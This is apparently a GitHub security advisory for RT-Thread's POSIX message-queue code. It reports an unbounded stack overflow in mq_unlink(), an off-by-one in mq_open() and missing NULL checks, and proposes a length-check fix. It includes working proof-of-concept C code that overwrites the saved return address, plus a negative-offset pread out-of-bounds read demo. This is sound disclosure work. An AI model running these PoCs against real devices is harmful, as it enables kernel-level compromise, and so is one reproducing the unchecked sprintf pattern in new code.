Skip to content

[Security] Unbounded stack buffer overflow in mq_unlink() (and off-by-one in mq_open()) from POSIX message-queue names #11736

Description

@REYu6

Summary

components/libc/posix/ipc/mqueue.c formats the queue name into a fixed
28-byte stack buffer with no length validation:

int mq_unlink(const char *name)
{
    if(*name == '/') name++;
    const char *mq_path = "/dev/mqueue/";
    char mq_name[RT_NAME_MAX + 12] = {0};          /* 16 + 12 = 28 bytes */
    rt_sprintf(mq_name, "%s%s", mq_path, name);    /* NO length check at all */
    return unlink(mq_name);
}

mq_unlink() performs no length check whatsoever: any name longer than
16 characters writes strlen(name) + 13 attacker-controlled bytes into a
28-byte stack frame — an unbounded stack buffer overflow.

mq_open() has the same pattern with an off-by-one: mqueue.c:121 rejects
only strlen(name) > RT_NAME_MAX (=16), so a 16-character name passes and
rt_sprintf writes 12+16+1 = 29 bytes into mq_name[28] — a one-byte
(NUL) stack overwrite.

Two additional defects in the same file (same call path):

  • mq_open(name, O_CREAT) without the 4th argument dereferences the
    uninitialized/absent attr vararg at mqueue.c:139,152-153
    (no NULL validation).
  • fd_get() results are dereferenced without NULL checks at
    mqueue.c:62,198,240,300,354,401.

Affected

  • Component: POSIX mqueue (components/libc/posix/ipc/mqueue.c),
    compiled when RT_USING_POSIX_MESSAGE_QUEUE + RT_USING_DFS_MQUEUE
  • Revision: master 6ea6827
  • Entry surface: mq_open/mq_unlink are RTM_EXPORT public APIs callable
    by any thread; /dev/mqueue is auto-mounted at boot (dfs_mqueue.c:234-241).

Reproduction (QEMU, bsp/qemu-vexpress-a9)

PoC application (uses only public APIs):

static void poc_mq(int argc, char **argv)
{
    char name[512];
    int i;
    for (i = 0; i < 200; i++) name[i] = 'M';
    name[200] = '\0';
    mq_unlink(name);          /* 213 bytes into char[28] */
}
MSH_CMD_EXPORT(poc_mq, trigger mq_unlink long-name stack overflow);

Observed (console output followed by the rendered screenshot):

msh />poc_mq
[poc] mq_unlink with 200-char name (buffer is 28 bytes)...
backtrace:
please use: addr2line -e rtthread.elf -a -f 4d4d4d4c
prefetch abort:Execption: ...

mq.png

The backtrace index 0x4d4d4d4c is the overwritten return address
('MMMM' = 0x4D), demonstrating full control of the saved return address.

Expected result

Names longer than the buffer capacity are rejected (e.g. -ENAMETOOLONG),
attr is validated for NULL, fd_get() results are checked.

Impact

  • Attacker model: any application thread calling the exported POSIX mq_*
    API — including a compromised or buggy application passing an externally
    derived queue name. Under RT_USING_SMART (user-mode applications) this
    is an unprivileged-to-kernel escalation; on flat no-MMU builds it is
    kernel stack corruption with attacker-controlled content (no stack
    protector in default builds).
  • Severity: high (unbounded overflow, attacker-controlled bytes and length).

Suggested fix

if (rt_strlen(name) > RT_NAME_MAX)
    return -ENAMETOOLONG;              /* in BOTH mq_open and mq_unlink */

plus NULL checks for attr and for every fd_get() return value. The
buffer could also be sized from the actual prefix length rather than a
duplicated constant.


Complete PoC source

The full PoC application (bsp/applications/poc.c, English only, uses only
public exported APIs — dfs_mount, mq_unlink, open/write/pread) and the
msh script poc.sh are reproduced here; they are also archived at
REYu6/rt-thread-poc-evidence
together with the rendered console screenshots.

poc.sh (executed on the target as /poc.sh)

mkdir /tmp
poc_mount
mkdir /tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

bsp/applications/poc.c

#include <rtthread.h>

/* PoC application: simulates a user application / msh script caller.
 * Targets: RT-Thread master 6ea6827, qemu-vexpress-a9 default config. */

extern int dfs_mount(const char *device, const char *path, const char *fs, unsigned long rwflag, void *data);
extern int open(const char *, int, ...);
extern long write(int, const void *, unsigned long);
extern long pread(int, void *, unsigned long, long);
extern int close(int);
extern int mq_unlink(const char *);

static void poc_mount(int argc, char **argv)
{
    int r = dfs_mount(RT_NULL, "/tmp", "tmp", 0, RT_NULL);
    rt_kprintf("[poc] mount tmpfs on /tmp -> %d (0=ok)\n", r);
}
MSH_CMD_EXPORT(poc_mount, mount tmpfs at /tmp);

static void poc_mq(int argc, char **argv)
{
    char name[512];
    int i;
    for (i = 0; i < 200; i++) name[i] = 'M';
    name[200] = '\0';
    rt_kprintf("[poc] mq_unlink with 200-char name (buffer is %d bytes)...\n", 16 + 12);
    mq_unlink(name);
    rt_kprintf("[poc] mq_unlink RETURNED (no crash)\n");
}
MSH_CMD_EXPORT(poc_mq, trigger mq_unlink long-name stack overflow);

static void poc_pread(int argc, char **argv)
{
    long off = -64;
    int fd;
    char buf[40];
    long n;
    int i;
    if (argc > 1) off = atol(argv[1]);
    fd = open("/tmp/leak.txt", 2 /*O_RDWR*/ | 0x200 /*O_CREAT*/, 0777);
    if (fd < 0) { rt_kprintf("[poc] open failed fd=%d errno=%d\n", fd, (int)rt_get_errno()); return; }
    write(fd, "AAAABBBBCCCCDDDD", 16);
    rt_memset(buf, 0, sizeof(buf));
    rt_kprintf("[poc] pread(fd, buf, 32, %ld) on tmpfs file ...\n", off);
    n = pread(fd, buf, 32, off);
    rt_kprintf("[poc] pread returned %d bytes:", (int)n);
    for (i = 0; i < 32; i++) rt_kprintf(" %02x", (unsigned char)buf[i]);
    rt_kprintf("\n[poc] done\n");
    close(fd);
}
MSH_CMD_EXPORT(poc_pread, pread negative-offset OOB read demo: poc_pread [offset]);

Build (bsp/qemu-vexpress-a9, unmodified default configuration):

cd bsp/qemu-vexpress-a9
RTT_ROOT=/path/to/rt-thread scons -j8
qemu-system-arm -M vexpress-a9 -kernel rtthread.elf -sd sd.bin -nographic

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

Labels

Type

No type

Projects

No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions